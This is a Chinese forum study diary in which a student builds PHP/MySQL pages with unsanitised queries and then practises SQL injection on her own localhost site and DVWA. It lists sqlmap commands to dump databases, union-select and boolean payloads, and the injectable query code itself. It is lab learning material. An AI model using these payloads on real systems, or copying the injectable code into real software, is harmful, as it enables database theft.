张欢学习日记

Angelica · 发表于 2020-3-25 22:42:30

今天跟着写了个php链接数据库的代码
代码部分1

<?php
$link=mysqli_connect('localhost','root','123456');
if(!$link){
exit('数据库连接失败');
}
mysqli_set_charset($link,'utf8');
mysqli_select_db($link,'php.cn');
$sql="select * from r1se";
$obj=mysqli_query($link,$sql);
echo '<table width="600" border="1">';
echo '<th>编号</th> <th>姓名</th> <th>生日</th> <th>操作</th>';
while($rows = mysqli_fetch_assoc($obj)){
echo'<tr>';
echo'<td>'.$rows['序号'].'</td>';
echo'<td>'.$rows['姓名'].'</td>';
echo'<td>'.$rows['生日'].'</td>';
echo'<td><a href="del.php?id='.$rows['序号'].'">删除</a></td>';
}
echo '</table>';
mysqli_close($link);
?>

复制代码

代码部分2

<?php
$id=$_GET['id'];
$link=mysqli_connect('localhost','root','123456');
if(!$link){
exit('数据库连接失败');
}
mysqli_set_charset($link,'utf8');
mysqli_select_db($link,'php.cn');
$sql="delete from r1se where 序号=$id";
$boolean=mysqli_query($link,$sql);
if($boolean && mysqli_affected_rows($link)){
echo'删除成功<a href="mysqli4.php">返回</a>';
} else{
echo'删除失败';
}
mysqli_close($link);
?>

复制代码

中间出现了一些问题，通过百度成功解决。

代码运行结果

Angelica · 发表于 2020-3-29 22:38:18

今天：社工作业+python爬虫学习+burpsuite系列（一）（二）

Angelica · 发表于 2020-4-11 23:19:52

本帖最后由 Angelica 于 2020-4-11 23:21 编辑

前段时间由于家里有事，啥也没干。
今天补了之前遗落的一部分网课and完成了数据表的导入。

数据表是通过excel文件导入的，导入过程中遇到了两个问题，一为文件不能打开，二为乱码问题。
第一个问题是通过在微软官网下载AccessDatebaseEngine解决的
第二个问题在百度上找了好几种解决方法，例如将文件改成.csv格式，以及在连接数据库时将编码选成自动，两种方法试过后，发现均无效。
然后我将该数据表存放在了一个之前创建的数据库里面，没有出现乱码问题。
通过翻找我当时创建该数据库的笔记对比发现，没有出现乱码的数据库是因为我之前创建的时候有一行命令为：set names utf8;
当时创建那个数据库的时候是跟着别人的代码敲的，没有细究用意，今天就顺便了解了一下。

然后成功解决了乱码问题。
同时跟着笔记复习了之前学的php链接数据库的方法，明天不出意外应该是设计页面+链接数据表。

Angelica · 发表于 2020-4-12 23:03:31

本帖最后由 Angelica 于 2020-4-13 00:29 编辑

低估了我的高代作业，我向高代说声对不起。and仿造百度页面初步完成了页面设计+链接数据库

Angelica · 发表于 2020-4-16 18:04:08

基本完成老师上星期布置的任务

html部分代码

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1.0,uese-scalable=no "/>
<title>欢迎来到测试小站</title>
<style type="text/css">
@keyframes bounce {
from,20%,53%,80%,
to {
-webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
transform: translate3d(0, 0, 0);
}
40%,43% {
-webkit-animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
-webkit-transform: translate3d(0, -30px, 0);
transform: translate3d(0, -30px, 0);
}
70% {
-webkit-animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
-webkit-transform: translate3d(0, -15px, 0);
transform: translate3d(0, -15px, 0);
}
90% {
-webkit-transform: translate3d(0, -4px, 0);
transform: translate3d(0, -4px, 0);
}
}
.bounce {
-webkit-animation-name: bounce;
-webkit-transform-origin: center bottom;
transform-origin: center bottom;
}
body {
background-image:url("用于简历的图片/背景2.jpg");
background-position: center;
background-repeat: no-repeat;
}
h1{
text-align: center;
color:dodgerblue;
animation:bounce 1s;
animation-direction: alternate;
animation-iteration-count: 1;
}
#content{
height:450px;
width:100%;
text-align:center;
line-height:450px;
}
#search_txt{
border:1px solid #b8b8b8;
line-height:30px;
}
#search{
line-height:30px;
border:1px solid #3385ff;
background-color: #3385ff;
color:white;
margin-left:-8px;
font_size:16px;
width:100px;
}
</style>
</head>
<body>
<h1 >欢迎来到测试小站</h1>
<form action="mysqli4.php" method="get">
<div id="content">
<input type="text" name="text" id="search_txt" size="80"/>
<input type="submit" value="Search" id="search" name="submit"/>
</div>
</form>
</body>
</html>

复制代码

php部分代码

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1.0,uese-scalable=no "/>
<title>查询结果页面</title>
<style>
body {
background-color:antiquewhite
}
.css {
background: lightyellow;
}
.result{
text-align: center;
}
</style>
<body>
<?php
echo "<h1 class=result>THE RESULT</h1>";
echo "<div class=css>";
if(empty($_GET['sunmit'])){
$keyword=$_GET['text'];
}
$link=mysqli_connect('localhost','root','123456');
mysqli_set_charset($link,'utf8');
mysqli_select_db($link,'php.cn');
$sql="select * from 工作表1 where 姓名 like '%{$keyword}%'";
$res=mysqli_query($link,$sql);
echo '<table border="1" style="margin:0 ">';
echo '<th>姓名</th>
<th>性别</th>
<th>生日</th>
<th>年龄</th>
<th>籍贯</th>
<th>民族</th>
<th>QQ</th>
<th>联系方式</th>
<th>微信</th>
<th>爱好</th>
<th>学历</th>
<th>所在学院</th>
<th>专业</th>
<th>学号</th>
<th>玩的游戏</th>
<th>偶像</th>
<th>抖音号</th>
<th>微博</th>
<th>注册过的网站</th>
<th>外语水平</th>';
while($rows=mysqli_fetch_array($res)){
echo '<tr>';
echo '<td>'.$rows['姓名'].'</td>';
echo '<td>'.$rows['性别'].'</td>';
echo '<td>'.$rows['生日'].'</td>';
echo '<td>'.$rows['年龄'].'</td>';
echo '<td>'.$rows['籍贯'].'</td>';
echo '<td>'.$rows['民族'].'</td>';
echo '<td>'.$rows['QQ'].'</td>';
echo '<td>'.$rows['联系方式'].'</td>';
echo '<td>'.$rows['微信'].'</td>';
echo '<td>'.$rows['爱好'].'</td>';
echo '<td>'.$rows['学历'].'</td>';
echo '<td>'.$rows['所在学院'].'</td>';
echo '<td>'.$rows['专业'].'</td>';
echo '<td>'.$rows['学号'].'</td>';
echo '<td>'.$rows['玩的游戏'].'</td>';
echo '<td>'.$rows['偶像'].'</td>';
echo '<td>'.$rows['抖音号'].'</td>';
echo '<td>'.$rows['微博'].'</td>';
echo '<td>'.$rows['注册过的网站'].'</td>';
echo '<td>'.$rows['外语水平'].'</td>';
}
echo '</table>';
mysqli_close($link);
echo "</div>";
?>
</body>
</html>

复制代码

Angelica · 发表于 2020-4-20 23:20:47

今天在看雪论坛上找了sql注入问题视频看，做了一个最最最简单的尝试。将上面php代码部分的

$sql="select * from 工作表1 where 姓名 like '%{$keyword}%' ";

复制代码

改成

$sql="select * from 工作表1 where 姓名 like '%{$keyword}%' or 1=1";

复制代码

同样在搜索框输入“张“，出现的结果变成

同时今天成功安装了sqlmap

Angelica · 发表于 2020-4-22 22:34:18

4.21 & 4.22

昨天和今天看了老师发的微信文章sql注入部分，然后跟着看雪论坛上的一个sql的公开课做，对sql注入了解更深入。
几个简简单单的笔记：
检测是否存在sql注入

sqlmap.py -u"http://localhost:85/web/mysqli4.php?text=%E5%BC%A0&submit=Search"

复制代码

列出数据库名称

sqlmap.py -u"http://localhost:85/web/mysqli4.php?text=%E5%BC%A0&submit=Search" --dbs

复制代码

查看指定数据库的表名称

sqlmap.py -u"http://localhost:85/web/mysqli4.php?text=%E5%BC%A0&submit=Search" -D php.cn --tables

复制代码

查看表的具体数据

sqlmap.py -u"http://localhost:85/web/mysqli4.php?text=%E5%BC%A0&submit=Search" -D php.cn --T r1se --dump

复制代码

今天还在dvwa上进行了sql注入测试，但是不太成功，明天继续这个。

Angelica · 发表于 2020-4-26 21:42:46

在dvwa上进行sql测试的一些笔记
检测是否存在注入

'

复制代码

遍历数据库表

1 or 1=1

复制代码

1' or' 1' =' 1

复制代码

查询信息列表长度 注意--后面有空格

order by [num]

复制代码

例如：

1' order by 1 -- ，1' order by 2 --，1' order by 3 --

复制代码

，到输入n时，页面报错，则查询结果为n-1列

获取数据库名、账户名、版本及操作系统信息

1' and 1=2 union select user(),database() -- [code]
[code]1' and 1=2 union select version(),database() --

复制代码

1' and 1=2 union select 1,@@global.version_compile_os from mysql.user --

复制代码

查询mysql数据库所有数据库及表

1' and 1=2 union select 1,schema_name from information_schema.schemata --

复制代码

猜解表名

1' and exists(select * from [表名]) --

复制代码

猜解字段名

1' and exists(select [表名] from users) --

复制代码

注入

1' and 1=2 union select first_name,last_name from users --

复制代码

Angelica · 发表于 2020-4-27 21:49:40

本帖最后由 Angelica 于 2020-4-27 21:56 编辑

我们知道，按照注入点类型来分，sql注入包括数字型注入点，字符型注入点以及搜索型注入点。而我的php代码部分的sql语句为

$sql="select * from 工作表1 where 姓名 like '%{$keyword}%'";

复制代码

属于搜索型注入点。今天了解的正是这个。
在博客园上面看到的对搜索型注入点的解释

判断搜索型注入的方法

用来检测是否存在搜索型注入的几种语句

'and 1=1 and '%'='
%' and 1=1--'
%' and 1=1 and '%'='

复制代码

然后我开始在我自己的网页中进行测试：
在文本框中输入

张%'and 1=1 and '%'='

复制代码

返回的结果为

输入

张%'and 1=2 and '%'='

复制代码

返回的结果为

综上，可以判断存在搜索型文本框注入。

在今天的练习中，还出现了如下问题

在百度上查找相同问题后，发现了一个解决方法。在原代码

$res=mysqli_query($link,$sql);

复制代码

之后，加上下列内容

if(!$res){
printf("Error:%s\n",mysqli_error($link));
exit();
}

复制代码

就可以判断出代码出错的位置，从而进行修改。

Angelica · 发表于 2020-4-28 22:42:14

本帖最后由 Angelica 于 2020-4-28 22:45 编辑

今天进行的是搜索型注入里的POST注入实战。
根据前面，我们知道存在文本框注入，接下来，利用语句

' order by [num]#

复制代码

猜字段数
逐次更改数字去猜，直到报错为止
由此我们知道，字段数为20
接下来就是利用下面的语句，加上一些常见的表名，来猜解表名

1' and exists(select * from [表名]) --

复制代码

从报错中，可以知道数据库名为php.cn
如果表名正确的话，返回的界面应该是这样的。

最后利用语句

'or 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 #

复制代码

获取了数据表的全部内容

同时可以利用语句

'or 1=1 union select 姓名,性别,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from [表名]#

复制代码

获得我们想要的内容

		自动登录	找回密码
密码			立即注册

张欢学习日记

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源